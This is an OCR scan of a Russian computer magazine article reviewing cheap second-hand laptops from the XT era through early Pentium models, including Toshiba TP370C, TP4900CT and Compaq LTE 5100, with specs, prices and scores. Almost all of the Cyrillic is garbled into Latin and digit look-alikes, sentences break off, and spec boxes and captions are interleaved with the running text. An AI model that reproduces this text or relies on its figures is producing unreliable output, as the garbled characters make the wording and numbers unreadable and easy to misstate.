pauMio Ha 6a3e MMX 166 MTa c CD m c Bno/iHe co- 
BpeMeHHbiM HDD Ha 2 c jimujhmm T6aMT mo>kho 
npMo6pecTM npMMepHO 3a $500. Taxafl MaiiiMHa 
eiAe toa CMO>KeT no/iHOCTbio yAOB/ieTBop/iTb Hy>K- 
A bi no/ib30BaTe/i/i, KOTopoMy Heo6xoAMMbi MHTep- 
HeT-CBfl3b, OC|DMCHbie npM/10>KeHMfl M/IM npOCTO 
HeHTO nopiaTM BHoe p,nn TpaHcnopTMpoBKM mh- 
cjDopMauMM. fl/m pa6oTbi b HHTepHeie nepe3 
56K-MOA6M He Hy>KeH PIII-800, c 3 tom 3aAaneM 
Bno/iHe cnpaB/iaeTCfl m 486DX-2 66MI"q. 


BbiBOA npocT ao HeB03M0>KH0CTM (Aa npocr/iT 
MeHfl npoM3BOAMTe/iM AoporMx 6yKOB): 3a6yAbTe o 
MaiuMHax CTOMMOCTbio noA $5000, o6paTMTe bhm- 
MaHMe Ha AKo6bi ycrapeBLUMe noAep>KaHHbie anna- 
paTbi. BeAb cpeAM hmx BcrpenaiOTai npodo otmch- 
Hbie 3K3eMn/iflpbi, KOTopbie npoc/iy>KM/iM He oamh 
toa m eiAe b coctoahmm npopa6oiaib cro/ibKO >Ke. 

AHTMHHbie epeMeHa 

Ha OKOHHaie/ibHO OApax/ieBrnyio TexHMKy ctomt 
B3r/lflHyTb XOTfl 6bl Me/lbKOM. KOHeHHO, >KAaTb OT 
Hee Hero-/iM6o cepbe3Horo He ctomt, m Bce-TaKM 
nenaTHafl ManiMHKa c B03M0>KH0CTbio peAaKTMpoBa- 
hma, Aono/iHeHHa^ napoM MrpyiueK, MO>KeT 3aMHTe- 
pecoBaTb m ueHoPi, m BHymaiOLAMM yBa>KeHMe BecoM. 
06biHHO 3to x86 m x286-annapaTbi, MHorAa c He- 
CTaHAapTHblMM MaTpMAaMM. npaKTMHecKM Bee OHM 
«nepeBapMBaiOT» DOS 6.22, hto no3BO/meT Mcno/ib- 
30BaTb mx m no ceM AeHb. 

y caMbix AeweBbix ($15— $25) XT- 6 yKOB o 6 bin- 
ho HeT BMHHecTepoB, a mx MaTpMAa 06 /iaAaeT 
3-5-ceKyHAHbiM noc/iecBeneHMeM — 3anyiAeHHbiM 
Digger m/im Aereo MOMeHTa/ibHo 3 a/iMBaeT 3 KpaH 
CMHe- m/im 3e^eHO-nepHbiMM pa3BOA3MM. AKKyMy- 
/liiTopbi npaKTMHecKM BcerAa MepTBbie m/im «Aep- 
>K3T» He 6 o/iee 5-10 MMHyT. 3aTO ahckoboa Bce- 
rAa 3-AtOMMOBbiM m, Aa>Ke ec/iM no cneqMcj/M KaqM m 
oh pa 6 oTaeT c cfiopMaTOM Bcero ziMiub b 
360 K 6 aMT, Be/iMKO/ienHO pa 6 oTaeT c 1,44 M 6 aMT 
AMCKeTaMM. HaiAe Bcero BcrpenaiOTCfl ao6potho 
«CKO/ iOHeHHbie» IBM m HP, ohm >Ke caMbie Aopo- 


TOSHIBA XT MC 


8086 12 MI"m 

1 M6aMT onepaTMBHOM naMflTM 
ABa 3-AK)MM0BblX AHCKOBOAa 1,44 M6aMT 
LPT, COM1, COM2, DIN9, Keyboard 
aKKyMy/iHTop noHTM b HopMe 

UeHa $15-20 

MoAe/ib npaKTMHecKM He OT/iMHaera h3hmhkom ot 
06 blH HOM HaCTO/lbHOM XT, pa3Be HTO BMeCTO HDD 
npOXOAMTC /1 AOBO/lbCTBOBaTbC /1 AByMfl AHCKOBO- 
A3 mm. 3aTO aKKyMy/i/iTop OKa3a/ica >k m b bi m m Aep- 
>Ka/i 6 yK noA nMTaHMeM npMMepHO nac. He caMbie 
MMHMaTIOpHbie pa3Mepbl n03B0/lM/lM pa3MeCTMTb 
Bee 83 K/l a B M LLI M nOHTM KaK Ha o 6 blHHOM XT/AT- 
K/iaBMaType. «CMH/m» MOHoxpoMHaa MaTpMqa 06 - 
ZiaAaeT OT/lMHHbIM KOHTpaCTOM M 3anaCOM flpKOC- 
tm, xoTfl npoAaBeu yTBep>KAa/i, hto MaiuMHa b 
CB oe BpeM/i Mcno/ib30Ba/iacb 3 Ktmbho — 3to noA- 
TBep/KAatOT e/ie 3aMeTHbie pyccKMe 6 yKBbi Ha K/ia- 
BMaType (poAHbie aHr/iMMCKMe pe/ibecfmo Bbi 6 MTbi, 
TaK HTO MM He rp03MT 6 blTb 6 aHa/lbHO CTepTbIMM 
na/ibAaMM). K/iaBMWM He 3 anaAaiOT m npM/iTHO 
LAe/maiOT npM Ha>K3TMM. B MTore no/iynaera MAe- 
a/ibHaa nenaTHa/i Mam MHKa c no/iHOM DOS-coBMe- 


CTMMOCTbto. 3anyiAeHHbie Pascal m Turbo C He 
CTO/lKHy/l MCb HM C K3KMMM TpyAHOCTflMM. B KOM- 
n/ieKTe Hame/ica m cfiMpMeHHbiM 0-MOAOMHbiM 
mHyp ot Toshiba p,nn CB/13M c HacTO/ibHbiM l"l K, xo- 
tk b caMOM 6 yKe ecTb pasteM f\nn MOAeMa ct3h- 
AapTa MCH. Ho nocKO/ibKy TaKOM papMTeT HaMTM 
y>Ke HeB03M0>KH0, to 06 3tom He ctomt m Ay^aTb. 
L^eHa TO>Ke nopaAOBa/ia — xo3amh o 6 MeHMBa/i 
6 yK Ha juo6om DIMM 64 M 6 aMT, hto 
AeMCTBMTe/lbHO epaBHMMO c napoM /UAMKOB 
AemeBoro nMBa. 

(3Aecb m Aa/iee oueHKa 6yAeT AaBaTbc/i MamMHaM 
no K/iaccaM, to ecTb Ka>KAa/i MOAe/ib 6yAeT cpaBHM- 
BaTbC/l C caMOM no/iHOM B03M0/KH0M KOHcfiMrypaAM- 
eM noAo6HOM MamMHbi cyneTOM pa3yMHbix Tpe6o- 
B3HMM K KOMnbHDTepaM.) 


OUEHKA 


8/10 — BbicmMM 6 a nn AaTb Henb 3 H, TaK KaK cy- 
LAecTBytoT MOAe/iM c BMHHecTepoM, a cennac 
npeACTaBMTb 3 arpy 3 Ky c AMCKeTbi AOCTaTOHHo 
TH>Ke/io. Eme oamh MMHyc, KOTopbm b npMHL/Mne 
mo>kho npocTMTb, — Macca. BnepBbie «>Ke/ie 3 H- 
Ka» MaccoM 4,7 Kr no/iyHM/ia B 03 M 0 >KH 0 CTb Ha- 
3 bl B 3 TbCH MMKpOKOMnblOTepOM. 3aTO pa60HMM 
aKKyMy/iHTop — peAKOCTb! 


rne. Becb coc|dt orpaHMHMBaeTC/i DOS, Norton 
Commander, KaKMM-HM6yAb peAaKTopoM, 6a30M 
AaHHbix SuperCalc m napoM Hen/ioxMx KOMnM/mTO- 
poB — Cm Pascal. OAHaKO /ifo6afl MOAe/ib c 
640 K6aMT naMATM Ha 6opTy (a TaKMx noAaB/i/uo- 
lAee 6o/ibmMHCTBo) ot/imhho pa6oTaeT c BHemHMM 
MOAeMOM. flocTaTOHHO CKanaTb aocobckmm rpacjDM- 
necKMM 6poy3ep, KaK 5-KM/iorpaMMOBbm /uamk, 
CTOMMOCTb KOTOpOTO CpaBHMMa C AByMfl /UAMK3MM 
AemeBoro nMBa, npeBpaiAaeTCfl b Hen/ioxoM ceTe- 
bom TepMMHa/i a-nn coBpeMeHHbie e-PC ot HP m/im 
Compaq. llpM Tex >Ke bo3mo>khoct/ix coBpeMeH- 
Hbie TepMMHa/ibi HP npMBA3aHbi k MamMHe aAMM- 
HMCTpaTopa npocTO HaMepTBO. 

He ctomt, BnponeM, pa3MeHM BaTbc/i Ha XT, TaK 
KaK 286-e MamMHbi, CTO/UAMe Bcero b 2 pa3a ao- 
po>Ke, MMeiOT 6o/iee coBpeMeHHbie MaTpMqbi, ro- 
pa3AO MeHbmyio Maccy, a mx BMHHecrep MHorAa 
AOCTMraeT 40-80 M6aPiT. Pa6oTa «ABoeK» CB/i3a- 
Ha c TeMM >Ke orpaHMHeHM/iMM, hto m y XT-MOAe- 
/ieM, TaK KaK HMKaKoro cneqMa/iM3MpoBaHHoro 
cocfiTa noA 286 -m npoqeccop HanMcaHO He 6bi/io. 
3aTO Ha/iMHMe oahoto m/im AByx M6aPiT naM/iTM 
MO>KeT oneHb nopaAOBaTb, TaK KaK Ha TaKOM Ma- 
mMHe Bno/iHe mo>kho 3anycTMTb Windows 3.1 
(3.11). A ec/iM yAacTC/i HaMTM HoyT6yK c npoqec- 
copoM Harris 286 20 MI"a, to o «TpoMKax» TO>Ke 
mo>kho 3a6biTb. CKopocTb pa6oTbi Windows-npM- 
/io>KeHMM Ha TaKOM MamMHe npeBbimaeT Aa>Ke cko- 
pocTb pa6oTbi Ha npoqeccope 386SX 20 MI"a c 
4 M6aMT onepaTMBHOM naM/iTM ! llpMHeM pa3HMqa 
oneBMAHa He TO/ibKO npM cpaBHeHMM pe3y/ibTaTOB 
nporpaMMOM Cheklt, ho m npocTO Ha r/ia3. 

B npMHAMne 6o/ibme CKa3aTb o XT m «abomk3x» 
Henero. MHTepHeT mm npaKTMHecKM 3aKa3aH, TaK 
KaK HMKaKMx c/iotob pacmMpeHM/i, KpOMe COM M 
LPT, HeT. C/iOTbi AOKepoB a6co/iiOTHO 6ecno/ie3Hbi 
6e3 caMMx aokob, a BCTaBMTb Aono/iHMTe/ibHyio na- 
M/iTb HeB03M0>KH0. 3aTO caMbm AoporoM npeACTa- 
BMTe/ib ceMeMCTBa 286-x MamMH ctom/i Bcero $65 
npM Ha/iMHMM Harris 286 20 MTa, 2 M6aMT onepa- 
TMBHOM naMATM, 38 M6aMT HDD m KanecTBeHHOM 
MaTpMqbi 640x480 c 16 orreHKaMM ceporo UBeTa. 

Boo6iAe >Ke onpeAe/iMTb tohho, CKO/ibKO cto/it 
3TM «AMH03aBpbl», nOHTM HeB03MO>KHO, TaK KaK C 
tohkm 3peHM/i coBpeMeHHoro nporpaMMHoro o6ec- 
neneHM/i ohm npaKTMHecKM 6ecno/ie3Hbi. MHorAa m 
A apoM He 3axoHeTCfl B3/iTb, a MHorAa KaKOM-HM6yAb 
«CMHe3KpaHHblM AHH03aBpMK» nOM3/UAHee MO>KeT 
TaK b Aywy 3anacTb, hto m $50 He 6yAeT >Ka/iKO. 

TeMHbie cpeflHwe eena 

3acM/ibe IBM, Apple m Olivetti 6bi/io HapymeHO 
cJdmpmom Compaq, KOTopaa b to BpeM/i no3MqMO- 
HMpOBa/ia Ce6fi MCK/llOHMTe/lbHO Ha pbiHKe MMKpo- 
KOMnblOTepOB M, B H3CTHOCTM, HOyT6yKOB. Ee OT- 
/lMHMTe/i bH bie nepTbi — yAo6cTBO m coBMec- 
TMMOCTb, nosTOMy 386-e MOAe/iM ao cmx nop Bbi- 
r/i/iA/iT Bno/iHe coBpeMeHHO. 

KpOMe no/iB/ieHM/i PCMCIA m, KaK c/ieACTBMe, 
noAK/iiOHeHM/i CD-ROM, LAN-KapT m moaomob, 
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A OnTMMaJlbHblM Bbl6op Chip — OflMH M3 caMbix c6a/iaH- 
CMpoBaHHbix HoyTSyKOB. BnosiHe noflxoflMT fl/iB peme- 
HMfl npaKTMHeCKM Bcex COBpeMeHHbIX G<$>MCHblX 3aAaH 


▲ IBM Ha npoTflmeHMM y>ue fiatm zieT He MeimeT 

AM 3 aMH CBOMX MOAe/lGM 


M3MeHM/lMCb M MaTpMqbl. 10-flK)MMOBa51 UBeTHafl Ma- 
Tpnqa 3anpocTO noflHMMaeT qeHy Ha cothio AO/i/ia- 
poB. «TpoM km» ot/whho «TAHyT» Windows 3.1 CO 
BceM nporpaMMHbiM o6ecneHeHMeM, «Apy>KaT» c 
I/I HTepHeTOM m LAN. OflHaKO o6paiAaTb BHMMaHne Ha 
Bee «BKycHOCTM» noflp^A He ctomt, TaK KaK y 6o/ib- 
wePi no/iOBMHbi aokmbwmx ao ceroAHAWHero Bpe- 
MeHM MOAe/ieM xpoMaiOT K/iaBnaTypbi. KoMn/ieKTa- 
Ai/ifl MOAe/ieM npaKTMHeCKM He OT/iMHaeTCfl ot 486-x, 
m Ben pa3HMua, b tom HMc/ie m AeHOBaa, 3aK/noHaeT- 
cn b npoqeccope m Aono/iHmejibHbix 4 M6aPiT na- 
matm. «TpoMKa» 6o/ibwe noxo>Ka Ha t3hk, o6BewaH- 


386SX 20 MTm 

2 M6aPiT onepaTMBHoPi naM^TM 
3-AK)MM0Bbm ahckoboa 1,44 M6aPiT 
125 M 6a Pit HDD 

VGA COLOR DSTN 9,5-AioPiMOBbiPl 
LPT, C0M1, COM2, DIN9, Keyboard 

aKKyMyjiflTop MepTB 

UeHa $80 

TMnMHHbiPi npeACTaBMTe^b 3araA0HHbix KOHCTpyK- 
Umm m BceB03M0>KHbix HeAopa3yMeHMPi. ripouec- 
cop no3BO/meT pa6oTaTb c Windows 3.1, ho Bcero 
jimub 2 M6aPiT naMATM npeBpaiAaiOT pa6oTy b Ka- 
Topry — 3arpy3Ka «OKOiueK» a-hhtca 6o/ibwe 5 
MMHyT. ripMHeM B03M0>KH0CTM paCWMpMTb naMflTb 
HeT. BMecTe c 6yK0M, hto c6nBa/io c TO/iKy, no- 
CTaBJlfl/lMCb M AUCKeTbl C AMCTpM6yTMB0M 


HbiPi opy>KMeM m 6poHeiAMTKaMM, ho yKOMn/ieKTO- 
BaHHbm ABMraTe/ieM ot «3anopo>Kua». 

JlyHLUMMM MOAe/iflMM 0Ka3a/iMCb Compaq 
386DX 33 MTu co BCTpoeHHbiM CD-ROM 4x m 3By- 
kobom KapTOM 3a $145 M Toshiba 386DX 33 c 
4 M6aMT naMATM 6e3 CD m c MepTBbiM aKKyMy/m- 
TopoM Bcero 3a $90. IJeHbi, KaK m b c/iynae c XT, 
He noKa3aTe/ib: 3tm moag.hu He no/ib3yiOTCfl 
cnpocoM M3-3a HeyAo6cTB c pea/iM3auMeM cob- 
MecTMMOCTM ycrapeBweM Windows 3.1 m coBpe- 
m e h h bi m m Windows 95/98/ME. I/I 3yn MTb 3 tm mo- 
Ae/i m BAO/ib i/i nonepeK He yAa/iocb, ho Aawe 


Windows 3.1. MoAe/ib oneHb CM/ibHO rpeera, 
npaBAa He AaeT c6oeB. 

CaMoe 6o/ibwoe HeAopa3yMeHMe 3Aecb — 
K/iaBnaTypa. flpMUJ/iocb aojito ziOMaTb HaA Hen 
ro/iOBy, TaK KaK k/i a b m lu m Ins, HanpMMep, Ha Hen 
He OKa3a/iocb! KaK BbiacHM/iocb, ee pea/iM3auMfl 
ocyLAecTB/meTCfl npn noMOLAM Aayx (!) cjDyH kamo- 
Ha/ibHbix K/iaBMiu m oahoPI 6yKBeHHoPi. TaKMx ny- 
AO-KOM6MHaqMM OKa3a/iocb oko/io 15, hto ao/i>k- 
ho pa3Apa>KaTb HenoAroTOB/ieHHoro ne/iOBeKa. 
Bee ocTa/ibHoe — b HopMe. AKKyMy/mTop tahct 
MMH yT 10, ho c >KyTKMM 3aTyxaHMeM, TaK hto /iyn- 
me ero npocTO BbiTaiAMTb m Bbi6pocMTb, TaK KaK 
BeCMT OH HeMa/10. 


OUEHKA 


5/10 — COBpeMeHHbie np0M3B0AMTe/lM C MMPO- 
BbiM MMeHeM He BcerAa mm o6/iaAa/iM. Rbho Ae- 
LueBan (b to BpeMfl) MOAe/ib, no bobmokhocthm 
eABa o6roHHioLAafl 286-e MaiiiMHbi. 


noBepxHOCTHbiPi ocmotp BbiAaeT b hmx nopoAy m 
npeKpacHbie «xoAOBbie» KanecTBa. 

PeHeccaHc 

Cpa3y OTMeTeM 486SX-MOAe/in, TaK KaK no cko- 
pOCTM M B03M0>KH0CTflM OHM npaKTMHeCKM He 06- 
roH^uoT «TpoM km» m BCTpeTMTb mx b npoAa>Ke AO- 
CT3TOH HO TpyAHO. Boo6lAe MaiUMHaM 3TOrO 
K/iacca ao/i>kho 6biTb ctwaho noflBjiflTbca b Ta- 
KMX OTKpOBeHHO CJia6blX KOH(|DMrypaUMflX, KaK, 
HanpMMep, 486SX 33 MI"a c 2 M6aMT onepaTMB- 
h om naMiiTM m BMHHecTepoM Ha 120 M6aMT, OAHa- 
ko BCTpenatOTC^ m TaKMe HeAopa3yMeHM5i. Kpac- 
Ha^i qeHa mm — $150, — Aa>Ke b stom ohm 
H eAa^eKO OTopBa/iMCb ot «TpoeK». Bnena^eHMe 
toto, hto SX-MOAe/iM ^b^^uotc^i hcm-to npoMe>Ky- 
TOHHblM M HTO MH>KeHepbl He TpaTMJIM Ha HMX Ce- 
pbie K/ieTOHKM, ycM^MBaeTC^ noc^e A-nHTe^bHoPi 
pa6oTbi c 3 tmmm annapaTaMM. HacTbie OTKa3bi M3- 
3a neperpeBa m He>KHaii K/iaBMaTypa, k/i a b m m m 
kotopom cpa6aTbiBaiOT eiAe ao toto, KaK ao hmx 
AOT poHyTca na/ibqbi, KaK 6yATO cneqMa^bHO 3a- 
AyMaHbi A-n^ toto, HTo6bi nponyBCTBOBaTb Bee 
npeMMyiAecTBa DX-6yKOB. 

I/I 3HaeTe, npeMMyiAecTBa nyBCTByiOTC^! Y>Ke 
IBM TP370C 486DX-4 75 MTq c 12 M6aMT onepa- 
tmbhom naM^TM oHeHb ujycTpo T^HeT Ha ce6e Win- 
dows 95. fla/ibHeMwee yBe/iMHeHMe ckopoctm npo- 
qeccopa Bp^A w KOMy-TO 6yAeT MeiuaTb. CKopocTb 
noAo6Hbix MOAe/iePi orpaHMHMBaeTC^ TO^bKO ko^m- 
necTBOM naMATM. B CBoe BpeM^i SIMM-naM^Tb cto- 
ma oneHb Aoporo, b pe3y/ibTaTe ceroAH^i TpyAHO 
hbmtm 6yK Aawe c 16 M6aMT Ha 6opTy. Bo BpeM^i 
pacqBeTa «neTBepoK» pbiHOK KOMnbiOTepoB y>Ke 
6bm CTa6M^bHO noAe/ieH Me>KAy BeAyiAMMM npoM3- 
BOAMTe^^MM, nosTOMy CTaHAapTbi pa3pa6aTbiBa- 
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TOSHIBA SATELLITE TJ 960 CS 


486DX-2 50 MOi 

4 M6aMT onepaTMBHOM naivmTM 

3-flK)MM0BblM flMCKOBOA 1,44 M6aMT 

210 M6aMT HDD 

VGA COLOR TFT 10,4-fliOMMOBbiM 

PCMCIA, LPT, C0M1, COM2, DIN15, Keyboard 

aKKyMyAATop MepTB 

UeHa $200 

llepBaA /lacTOHKa cpeflM Hoyi6yKOB, noAHocrbio 
npMcnoco6AeHHbix k HopMa/ibHOM ocJdmchom pa6oie. 
0 PCMCIA M B03M0>KH0CTM nOAKAIOHeHMA CD-ROM, 
MOfleMa MAM LAN-KapTbl He CTOMT M rOBOpMTb — 3T0 
CTaHflapT. Toshiba Bcerfla Bee fle^a^a Ha ypoBHe, 
xota 4 M6aMT onepaTMBHOM naMATM abho Ma/iOBaTO. 
flpOflaBeU KAAACA M 6o>KMACA, HTO Ha 6yK MO>KHO 


nociaBMTb Windows 95. PacmMpMTb naMATb HecAO>K- 
ho. Tax KaK AonoAHMTeAbHbiM caot zierKO AOdyneH, 
a caMa naMATb npoflaeica OTfleAbHO. Windows 95 
TepnMMO pa6oiaeT npM HaAMHMM 8 M6aMT, ho hto 
6yqeT, ecAM ociaBMTb TOAbKO 4 M6aMT, HeM3BecTHo: 
Tax KaK Ha MauiMHe y>Ke ctoaa3 Windows 3.11, 3Ty 
3araflKy peiAMTb HeyqaAOCb. OcjDMCHbie npMAO>Ke- 
HMA, HeCMOTpA Ha nOCTOAHHblM cKpMn BMHHeciepa M 
orpoMHbiM pa3Mep nanKM /temp, pa6oiaAM oneHb 
6bicipo. HeyflMBMTeAbHO noaTOMy, hto aKKyMyAATop 
He Bbiflep>KaA Harpy3KM m yMep. 


0I4EHKA 


7/10 — HeAb3A CT3BMTb Ha TaKkie MaiilMHbl BCe- 
ro AMLAb 4 MbakiT naMATM. \A3-3a aToro Aawe 
oneHb HenAoxMe aKKyMyAATopbi ot Toshiba He 
Bbiflep>KMBaK)T nocTOHHHOM pa6oTbi swap-HLuero- 
ca BMHHecTepa. Bee ocTaAbHoe KaK o6biHHo Bbi- 
noAHeHo «Ha otamhho». 



AMCb 6blCTpO M 6e3 OCo6om KpOBOnpOAMTMA. Ot- 
ctofla — «npMrHaHHOCTb» Bcex KOMnAeKTyioLAMx 
AAA 6yK0B, HaAe>KHOCTb M OTA MHH3A CBA3b c npo- 
rpaMMHbiM o6ecneHeHMeM. flpy>K6a nporpaMMMC- 
TOB M MH>KeHepOB AOWAa AO Toro, HTO Ha 6yKM 
CT3A AerKO ycTaHaBA MBaTbCA RedHat Linux 4.2 m 
5.0. ECTeCTBeHHO, CKOpOCTb pa60Tbl B «nMHTBMHe» 
6bma HaMHoro Bbime, neM noA Windows 95, a no- 
3T0My ao cmx nop BcrpenaiOTCA 6yKM c ycraHOB- 
a e h h bi m Unix. 

HayHHO-TexHMHecKan peeo/i 1014ns? 

HaBepHAKa Bee eiAe noMHAT noMne3Hbm, ho ao- 
BOAbHO HeyAaHHbiPi BbixoA Pentium Ha pbiHOK. f\o- 


xoamao ao a6cypAa, TaK KaK pbiHOK 6biA 3aBaAeH 
Pentium 60, 75 m 90 MTu, a He achalamm nporpecc 
noTpe6MTeAb npoAOA>KaA 3aTapMBaTbCA AMD 
486DX-4 100 Ml"u m AMD 486DX-5 133 MTu (ATZ, 
ATD), TaK KaK npoM3BOAMTeAbHOCTb Pentium 90 
COCTaBAAAa npMMepHO 80% np0M3B0AMTeA bHOCTM 
AMD 100 MTa. flawe Intel 486DX-4 120 MI"a pac- 
xBaTbiBaACA, KaK ropAHMe nMpo>KKM. Pa36Mpaio- 
lAMecA b TexHMKe noKynaTeAM HanaAM c ocropo>K- 
HOCTbio noKynaTb Pentium 100 MI"a m 6oAee 
6biCTpbie npoueccopbi TOAbKO nocAe Toro, KaK 
CTMX CK3HA3A CO 3H3MeHMTOM OWm6kOM «256=0». 
OAHaKO eiAe ao CKaHAaAa m Bceo6mero pa3onapo- 
BaHMA npoM3BOAMTeAM, CTapaACb nepexBaTMTb pbi- 


TOSHIBA TP370C 


486DX-4 75 MTu 

12 M6aMT onepaTMBHOM naMATM 

3-AK)MMOBblM AMCKOBOA 1,44 M6aMT 

512 M6aMT HDD 

VGA COLOR TFT 10,4-AfOMMOBbiM 

SoundBlaster 

PCMCIA, LPT, COM1, COM2, DIN15, Keyboard, PS/2 
aKKyMyAATop MepTB 

UeHa $260 

Ota mh H aA MaiiiMHa! OnTM maa bHoe cooTHomeHMe 
npoqeccopa m naMATM; BMHHecTep, pa6oTaioiAMM 
b pe>KMMe PIO Mode 3 (bmammo. Quantum mam 
C onner) m pa3roHAioiAMMCA ao 850 K6aMT/c, bm- 
AeonaMATb 1 M6aMT He MoryT He nopaAOBaTb. 


KAaBMaTypa b otamhhom coctoahmm. Bee HeAO- 
CT3TKM cboaatca k nape mcakmx qapanMH m, 
co6cTBeHHO, k ycTapeBmeMy AM3aMHy. MaiiJMHa 
n0Ab3yeTCA yCTOMHMBbIM cnpocoM, a 3TO AyHLLiaA 
peKOMeHAauMA. OnpMa, npoAaBaBwaA McnbiTye- 
mwm 3K3eM nAAp, AaBaAa Ha 6yK AByxMecAHHyto 
rapaHTMio — o6biHHbm cpoK p,nn MauiMH noAo6- 
Horo KAacca 2 HeAeAM. llpoKAATMeM Bcex 
«HeTBepOK» CHOBa ABAAeTCA KOA MHeCTBO 
onepaTMBHOM naMATM. 16 mam 24 M6aiiTa 6wam 
6bi 3Aecb ropa3AO yMecTHee. 


OI4EHKA 


9/10 — EAMHCTBeHHbIM HeA0CT3T0K — MepT- 
BblM aKKyMyAATop. HT06bl KynMTb HOBbIM, npM- 
AeTCA BblAO>KMTb $50. MeAOHb, HO HenpMATHO. 


hok, HanaAM c6opKy HoyT6yKOB Ha paHHMx npo- 
ueccopax Pentium. I/Itot nAaneBeH: caMM 6yKM 
6biAM HeycTOMHMBbi k TeMnepaTypHbiM pe>KMMaM. 

A pe3KaA m 6biCTpaA noTepA mmm nonyAApHOCTM 
OTpa3MAacb Ha KanecTBe m KOMnAeKTaqMM nocAe- 
AytoiAMx MOAeAeM — peKAaMHaA KaMnaHMA Intel 
CAeAaAa CBoe nepHoe aoao: BMecTe c Intel cJdm- 
HaHCOBbie 33TpyAHeHMA CT3AM MCnblTblBaTb Aa>Ke 

TaKMe mohctp bi, KaK Compaq m IBM, HeMaAyto cra- 

TbK) AOXOAOB KOTOpbIX COCT3BAAAM 6yKM Ha HO- 

BeMLUMx npoqeccopax. 

Ot CKaHAaAa b MTore Bee >Ke 6bma noAb3a — 
HaM BceM nocnacTAMBMAOCb HE YBMflETb HoyT6yKM 
Ha Pentium PRO npoqeccope. 



A floCTaTOHHO B3M9HyTb Ha 3Ty 4>OTorpa- 
HT 06 bl 60 /lbUJe HHKOrAa He BblCKa- 
3biBaTbcsi npeHe6pe>KHTe^bHO o 
386SX/DX h 486DLS npoueccopax 
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TOSHIBA TP4900CT 


Pentium 75 MI"m 

40 M6aMT onepaTMBHOM naivmTM 
3-fllOMMOBblM flMCKOBOfl 1,44 M6aMT 
810 MSaMT HDD 
VGA COLOR TFT 10,4-fliOMMOBbm 
SoundBlaster, Speakers, Mic. 

BHeiiiHHM CD-ROM 24x 

PCMCIA, LPT, C0M1, COM2, DIN15, Keyboard, PS/2 

aKKyMy/iHTop MepTB 

UeHa $360 

3a6yfleM o npoqeccope. llp0M3B0AMTe/ibH0CTb 
Hoyi6yKa He cM/ibHo OT/iMnaeTCfl ot npon3BOflM- 
Te/lbHOCTM XOpOLLI MX 486-X 6yK0B. OflHaKO 
yAMB/iaeT cooTHoiueHMe KO/iMHecTBa onepaTMB- 
HOM naMATM m npoM3BOflMTe/ibHOCTM npoqecco- 
pa. Ma/io, KOHeHHo, He 6biBaeT, ho mo>kho 6bi/io 


o6oMTMCb m 24 M6aMT. Hto fleMCTBMTe/i bHO pa- 
flyeT, TaK 3 to no/iHbm Ha6op M3 CD-ROM, 3ByK0- 
BOM KapTbl M npMMMTMBHOM CTepeOCMCTeM bl — 
Tenepb mo>kho 3anycTMTb DOOM mjim fla>Ke Qua- 
ke co 3ByK0M. ripoueccop zierKO cnpaB/iaeTCfl c 
3 tmm TedOM, noKa3biBaa Hen/ioxMe pe3y/ibTaTbi: 
23-24 fps b 320x200 pextMMe Quake. MaiuMHa 
33MeTH0 rpeera, ho pa6oiaei CTa6M/ibH0. Co6- 
CTBeHHo, cepbe3Hbix (fla m Hecepbe3Hbix) Heflo- 
CTaTKOB HeT. 


OUEHKA 


8/10 — B TaKyro KOH^MrypapMio ycTaHaB/iMBaTb 
Pentium 75 MRi — npecTyn/ieHMe! flocTaTOHHO 
npeflCTaBMTb Ha MecTe P-75 mo-HM 6 yflb Bpofle 
Pentium MMX 133, KaK cpa 3 y CTaHOBMTcn no- 
HHTHO, Ha KaKMe WepTBbl npMW/lOCb MflTM MH>Ke- 
HepaM Toshiba, htoSh cnacTM no/ioweHMe m 
npoflaTb 3 aKyn^eHHbie no eme 3 ao 6 /iaHHbiM pe- 
HaM Pentium 75. 


Bpeym jieHMT. Pentium 120 m 133 Milt y>Ke Mor- 
ji m noxBadaTb fleMCTBMTe/ibHO npeBoexoflHOM npo- 
M3B0flMTe/lbH0CTbK) M tOHeCTBOM. llocTeneHHo 6yKM 
Ha Pentium 60/75/90 MTu cra/iM nponaflaTb M3 
npofla>KM. I/I 3 Bcex ManiMH Ha stmx npoqeccopax 
BbDKM/iM TO/ibKO Toshiba m Compaq Mp/iaHACKoPi 
c6opKM. Mo>kho CH^Tb w/mny nepefl MH>KeHepaMM 
Toshiba, Tax KaK flpyrMM MacTMTbiM npoM3BOflMTe- 
jiam He yfla^ocb Ao6MTbca ycTOMHMBOM pa6oTbi npo- 
qeccopa. HanpMMep, IBM Ha Pentium 60 MrqyMyfl- 
pa/ica HaMepTBO 3aBMcaTb Ka>Kflbie no/inaca, 
HecMOTp^ Ha rpoMKoe mma. 

rioAB/ieHMe npoqeccopa c MMX-paciuMpeHMeM 
OKOHHaie/ibHO pa3pflAM/io o6ciaHOBKy. HoBbm npo- 
qeccop, HOBbie MOAe/iM m HOBbie bo3mo>khoctm o6e- 
/iMTb ce6a 6bmM Mcno/ib30BaHbi npaKTMnecKM bccmm 
npoM3BOflMTe/iiiMM Ha bck) KaiyiuKy. llpaBAa, c 
no/ib30M pj\s\ noTpe6MTe/m. npoqeccopbi noAewe- 
Be/iM 6bicipo — Intel He cra/i TpeTMpoBaTb pbiHOK, 
TaK KaK 6bm M3MyneH «bomhom neTBepoK» c AMD, 
DIMM-naMATb cra/ia o6biAeHHOCTbio, m Aawe BMHHe- 
CTepbi Hana/iM noHeMHory AeiueBeTb. B pe3y/ibraTe 
HOyT6yKM C npMJIMHHOM H3HMHKOM npOASBa/lMCb AS" 



COMPAQ LTE 5100 


Pentium 90 Ml"u 

8 M6aMT onepaTMBHOM naivmTM 
3-AK)MMOBblM AMCKOBOA 1,44 M6aMT 
810 M6aMT HDD 
VGA COLOR TFT 10,4-AK)MMOBbiM 
SoundBlaster, Speakers, Mic. 

PCMCIA, LPT, COM1, COM2, DIN15, Keyboard, PS/2 
aKKyMy/mTop c/ia6bm 
UeHa $310 

EiAe OAHa KpaPiHOCTb. n ohtm ot/i mh h wm npo- 
qeccop AO/i>KeH TecHMTbCfl b 8 M6aMT onepa- 
TMBHOM naMATM. Bee ocTa/ibHoe HapeKaHMM He 


■ ■■■■■■■■■■■■■■a 

Bbi3biBaeT. BnponeM, b Compaq pyraTb noHTM 
BcerAa Henero. MoAe/ib no3BO/ifleT paciuMpMTb 
onepaTMBHyio naMATb, TaK hto oco6eHHOM 
npo6/ieMOM 3to 6biTb He ao/i>kho. B OT/iMHMe 
ot Toshiba, 6yK pa6oTaeT nacaMM 6e3 3aMeT- 
hoto HarpeBa. flono/iHMTe/ibHbm HeAOCTaTO k 
